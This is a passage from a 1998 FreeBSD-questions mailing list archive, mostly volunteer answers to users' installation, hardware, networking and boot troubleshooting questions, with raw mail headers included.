MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Doug Junkins wrote: > > > I've just tried installing 2.2.6-RELEASE on my system (currently running > > > 2.2.2-RELEASE) using the standard boot floppy and am getting the following > > > kernel panic just after the "probing devices" screen comes up: > > > > > > panic: vm_fault: fault on nofault entry, addr: f2f02000 > > > > > Is there any more output than this? We need to know *exactly* where this > > appears and the full text of any panic output (if there's more than what > > you've shown me). > > > > After the system boots from the install disk and the blue screen with the > "probing devices" messages comes up there is alot of disk activity. After > a few seconds of disk activity the above kernel panic is displayed with a > message that the system will reboot in 15 seconds (or press a key to abort > the automatic reload). Okay, I see. Try booting and put -v on the Boot: prompt, then when the Probing Devices .. message comes up hit ALT-F2. There's a bug I'm hunting that makes the wd slice probe loop a ton of times, it may be biting you in a different way. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:03:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA06436 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:03:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA06431 for ; Thu, 9 Apr 1998 00:03:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13799; Thu, 9 Apr 1998 00:03:16 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:03:16 -0700 (PDT) From: Doug White Reply-To: Doug White To: Barry Monk cc: questions@FreeBSD.ORG Subject: Re: HELP!!!! In-Reply-To: <000a01bd6318$8ec0b200$1b4d5fc1@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Barry Monk wrote: > I've just purchased ver2.2.5 of FreeBSD unix, and after 3 days of blood > sweat and tears, have managed ti install it and get it to run! sort of. > I purchased a second hard drive and partitioned it for an 800MB BSD > partition, then installed BSD. I have an Intel AL440LX mother board so I > installed the boot manager, which also worked, so I am very nearly > there, unfortunatly I cant get xview to run. I,ve looked at the > installation and I've installed all the components. Is it as simple as > not knowing the run command. At work we use xwin on sunsparc, but those > commands don't work. So you're looking for the command to start X? `startx' > PS As I consulted you cd documents using the view program, there were > many instances where a printout would have helped. Is there a manual I > can purchase to help, as the next step is to configure my internet to > work through my BSD partition. Certainly! The book `The Complete FreeBSD' makes for an excellent reference. You can purchase it from Walnut Creek CDROM (http://www.cdrom.com). > Kind regards,and an excellent product to keep you in for a few evenings! :-) Let us know if you have any more problems. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:05:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA06948 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:05:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA06940 for ; Thu, 9 Apr 1998 00:05:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13806; Thu, 9 Apr 1998 00:05:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:05:41 -0700 (PDT) From: Doug White Reply-To: Doug White To: Peter Imre cc: freebsd-questions@FreeBSD.ORG Subject: Re: SCSI controller In-Reply-To: <352BED59.64A071DB@algonet.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Peter Imre wrote: > Please, I have the following question: > I have a Future Domain TMC 3260 PCI controller. > Can I use with FreeBSD or I should chose another SCSI card ? I don't think it's supported, no. Try a Symbios-based card or an Adaptec. Assuming you're using a Pentium class machine, the Adaptec 2940 (not 2940A) series is an excellent card. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:06:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA07186 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:06:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA07118 for ; Thu, 9 Apr 1998 00:06:37 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13810; Thu, 9 Apr 1998 00:06:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:06:27 -0700 (PDT) From: Doug White Reply-To: Doug White To: Tomas TPS Ulej cc: questions@FreeBSD.ORG Subject: Re: 2xSCSI + 1xIDE HDD In-Reply-To: <199804082154.XAA00412@tps.sk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Tomas TPS Ulej wrote: > I have problem with booting. My old system had 2 harddrives (SCSI). Now I > add slower IDE Disk for mirroring and I am not able more booting system from > SCSI diskdrive 'cose BIOS assign driveletter C: and SCSI #1 disk has D: now. > How can I tell my computer "BOOT FROM DRIVE D:, IGNORE C:"? This depends on your system. Some will allow you to scan the SCSI disks before the IDE ones. Otherwise you will have to type 1:sd(0,a)/kernel at the boot: prompt to start the system. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:07:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA07619 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:07:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA07563 for ; Thu, 9 Apr 1998 00:07:20 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13814; Thu, 9 Apr 1998 00:07:15 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:07:15 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jack Harris cc: freebsd-questions@FreeBSD.ORG Subject: Re: Sendmail hangs when Cisco Router pemits only ports, 20,21,25,53,80,110,113 In-Reply-To: <199804082240.RAA00972@jharris.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Jack Harris wrote: > My FreeBSD 2.2.5 RELEASE will not get past the sendmail daemon when > booting. > Everything boots fine when i dont have cisco access lists in place > allowing only ports 20, 21, 25, 53, 80, 110 and 113. DNS is blocking. make sure that DNS is set up properly on the FreeBSD box and that hosts behind the Cisco can do DNS lookups properly. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:07:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA08032 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:07:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from intranet.haplink.com.cn ([202.96.217.87]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id AAA07552 for ; Thu, 9 Apr 1998 00:07:20 -0700 (PDT) (envelope-from haifeng@intranet.haplink.com.cn) Received: (from root@localhost) by intranet.haplink.com.cn (8.6.12/8.6.12) id PAA04716 for ; Thu, 9 Apr 1998 15:07:55 +0800 Received: from unknown(202.96.242.149) by intranet.haplink.com.cn via smap (V1.3) id sma004714; Thu Apr 9 15:07:48 1998 Message-ID: <352B20CE.631E@intranet.haplink.com.cn> Date: Wed, 08 Apr 1998 15:01:34 +0800 From: haifeng Guo Reply-To: haifeng@intranet.haplink.co.cn Organization: Shanghai Lawton X-Mailer: Mozilla 3.01 (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: about the annex 2000 on freebsd Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Guys: I'm a new to freebsd, our company is a ISP in china.Our remote access server is Bay Annex 2000 and the auth server is the sun,now I want to use the FreeBSD(2.2.5) as the auth server, I install the annex software on the freebsd, The annex software can recognize the freebsd server and can complie it's software,but when the install fininshed ,the annex want to start the "erpcd damen" ,the system told me "can't find the erpcd.conf" and the core dump, I want konw how to solve the problem and how to set the annex remote access server and how to set the auth way (there are many way include:acp unix native). thank you very much To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:09:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA08759 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:09:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA08732 for ; Thu, 9 Apr 1998 00:09:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13818; Thu, 9 Apr 1998 00:09:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:09:14 -0700 (PDT) From: Doug White Reply-To: Doug White To: Oscar Valdez cc: freebsd-questions@FreeBSD.ORG Subject: Re: packages cd rom In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Oscar Valdez wrote: > pleae : how i specify a diferent path to install the packages in the > cdrom?? > > I have copied all the distribution in a cd, but the packages in a > directory called: > /packages/www > /packages/x11 > /packages/databases > etc etc. > > when i start /stand/sysinstall and try to install the packages, i got an > error: packages path not found or something > > the freebsd system i had installed ok but the packages dont Use the `pkg_add' command to install packages -- sysinstall assumes you have a CD. Just run `pkg_add /path/to/package.tgz'. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:10:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA09146 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:10:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA09079 for ; Thu, 9 Apr 1998 00:10:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13825; Thu, 9 Apr 1998 00:10:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:10:09 -0700 (PDT) From: Doug White Reply-To: Doug White To: robert t tan cc: freebsd-questions@FreeBSD.ORG Subject: Re: Intel EtherExpress .. In-Reply-To: <199804090014.RAA15429@sirius.cs.pdx.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, robert t tan wrote: > > Hi, > > I have a problem setting up my Ethernet card. > > I understood, FreeBSD supports the Intel EterExpress cards. I therefor Only the PCI Pro/100B or Pro/100+. The EtherExpress 16 is supposedly supported but it doesn't work. > bought an Intel EhtherExpress PRO/10+ ISA LAN Adapter. > > I am running FreeBSD 2.2.2 > > Follows related dmesg results: > > ie0: unknown board_id: f000 > ie0 not found at 0x300 If anything this driver would pick it up, but apparently it doesn't recognize it. Try a generic NE2000. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:11:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA09568 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:11:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA09519 for ; Thu, 9 Apr 1998 00:11:13 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13829; Thu, 9 Apr 1998 00:11:12 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:11:12 -0700 (PDT) From: Doug White Reply-To: Doug White To: BNowaira cc: questions@FreeBSD.ORG Subject: Re: Problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, BNowaira wrote: > I've downloaded the FreeBSD and installed it. I created another > partition for FreeBSD using the "fips" utility. However, after the > FreeBSD was installed, I lost my W95 partition table, and the computer > won't boot W95 at all. What can I do? Follow the instructions that came with FIPS to restore the partition table. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:14:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA10226 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:14:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA10219 for ; Thu, 9 Apr 1998 00:14:11 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13833; Thu, 9 Apr 1998 00:14:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:14:09 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Anthony E. Coley" cc: "questions@FreeBSD.ORG" Subject: Re: sending an attachment? In-Reply-To: <352C2D19.E62A487C@sohopros.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Anthony E. Coley wrote: > I have an error message I would like to get help with but I can not > figure out how to insert the typescript into the body of my email. > Is it ok. send it as an attachment to -questions....? I would think that Mozilla would have a `read file' option. If anything, open up a big xterm, select all the text, then paste. Not everyone on the list can deal with MIME attachments. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:15:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA10681 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:15:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA10671 for ; Thu, 9 Apr 1998 00:15:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13844; Thu, 9 Apr 1998 00:15:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:15:36 -0700 (PDT) From: Doug White Reply-To: Doug White To: Chado cc: freebsd-questions@FreeBSD.ORG Subject: Re: Ping program not working from cron In-Reply-To: <3.0.3.32.19980408233735.0090d270@popmail.p3.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Chado wrote: > Gents, > > I have written a program that pings hosts on our network and the internet. > > When I run it from the command line it works fine...but when I install it > in the cron it doesnt find any of the local machines. Are you sure you can run ping at all from cron? It may be erroring with a `permission denied' or something like that ... Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:17:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA11194 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:17:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA11184 for ; Thu, 9 Apr 1998 00:17:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13851; Thu, 9 Apr 1998 00:17:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:17:44 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Marco A. Barbosa S." cc: freebsd-questions@FreeBSD.ORG Subject: Re: nis/nfs problem (continued...) In-Reply-To: <199804090439.VAA00228@fciencias.ens.uabc.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Marco A. Barbosa S. wrote: > nope, I thought I had specified that... *smile* xcalibur gets isolated > from the inside out and from the outside in... Okay, so the entire network fails. After what you've told me below, I'd suspect the NIC. I'd suggest buying a Digital-based ethernet card (like a Dayna) and using that instead of the dlink. I've never had any luck with D-Link's anyway. > Mar 10 12:52:34 Xcalibur /kernel: Probing for devices on PCI bus 0: You have PCI so you can do this :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:18:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA11569 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:18:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA11540 for ; Thu, 9 Apr 1998 00:18:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13855; Thu, 9 Apr 1998 00:18:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:18:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: TezMan cc: freebsd-questions@FreeBSD.ORG Subject: Re: vms-like shell In-Reply-To: <352C5311.7F8191E5@neosoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, TezMan wrote: > I am looking for a VMS-like shell that will work w/ freebsd, can you > point > me in a general direction? Thanx! Wow, I usually find people running *away* from DCL, not towards it! :) I'd check the net -- some (sadistic) person may have ported it. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:20:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12105 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:20:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12095 for ; Thu, 9 Apr 1998 00:20:38 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13859; Thu, 9 Apr 1998 00:19:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:19:27 -0700 (PDT) From: Doug White Reply-To: Doug White To: Andre Albsmeier cc: freebsd-questions@FreeBSD.ORG Subject: Re: How to make a non-dangerously dedicated disk? In-Reply-To: <199804090530.HAA06282@intern> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Andre Albsmeier wrote: > As the subject says: I want to create a non-dangerously dedicated disk > but without using sysinstall. The reason is, I want to make an exact > copy of the present system (2.2.6) but can't use the dangerously dedicated > mode because the new disk will go into another broken Siemens PC. It's a pain in the arse since our fdisk utility bites. You _really_ want to use sysinstall for this, the visual fdisk editor is miles beyond any other tool. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:20:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12114 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:20:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fciencias.ens.uabc.mx ([148.231.177.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12096 for ; Thu, 9 Apr 1998 00:20:38 -0700 (PDT) (envelope-from mbarbosa@fciencias.ens.uabc.mx) Received: (from mbarbosa@localhost) by fciencias.ens.uabc.mx (8.8.7/8.8.7) id AAA00891; Thu, 9 Apr 1998 00:23:18 -0700 (PDT) (envelope-from mbarbosa) From: "Marco A. Barbosa S." Message-Id: <199804090723.AAA00891@fciencias.ens.uabc.mx> Subject: Re: nis/nfs problem (continued...) In-Reply-To: from Doug White at "Apr 9, 98 00:17:44 am" To: dwhite@resnet.uoregon.edu Date: Thu, 9 Apr 1998 00:23:17 -0700 (PDT) Cc: freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Wed, 8 Apr 1998, Marco A. Barbosa S. wrote: > > > nope, I thought I had specified that... *smile* xcalibur gets isolated > > from the inside out and from the outside in... > > Okay, so the entire network fails. After what you've told me below, I'd > suspect the NIC. I'd suggest buying a Digital-based ethernet card (like a > Dayna) and using that instead of the dlink. I've never had any luck with > D-Link's anyway. well, I would like to find another solution ... cuz of what I said with the hup nfsd etc... and because it would be faster than paper work in a goverment institution such as this one... > > > Mar 10 12:52:34 Xcalibur /kernel: Probing for devices on PCI bus 0: > > You have PCI so you can do this :) yes, we have pci... but not really many cards like that... > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > -- ************************************* * Marco Antonio Barbosa Santoyo * * Facultad de Ciencias, U.A.B.C. * * Ensenada, Baja California, Mexico * ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:21:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA12632 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:21:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA12574 for ; Thu, 9 Apr 1998 00:21:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13870; Thu, 9 Apr 1998 00:21:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:21:18 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dennis Tenn cc: FreeBSD Questions Subject: Re: Not able to 'make world' since March.. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Two notes: 1. Please route -current questions to current@freebsd.org, especially if it broke after a make world. 2. Subscribe to the current@freebsd.org mailing list if you haven't already. Thanks... On Thu, 9 Apr 1998, Dennis Tenn wrote: > I've been using FreeBSD for at least 3 years. The error I get now is > indicative of a hardware problem but I'm not too sure. > > /usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/cp/class.c > cc: Internal compiler error: program cc1 got fatal signal 11 This is usually indicitive of bad memory or processor cache. could be a corrupted binary or file though. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 00:22:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA13073 for freebsd-questions-outgoing; Thu, 9 Apr 1998 00:22:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA13035 for ; Thu, 9 Apr 1998 00:22:26 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id AAA13877; Thu, 9 Apr 1998 00:22:23 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Thu, 9 Apr 1998 00:22:23 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: Modem Software In-Reply-To: 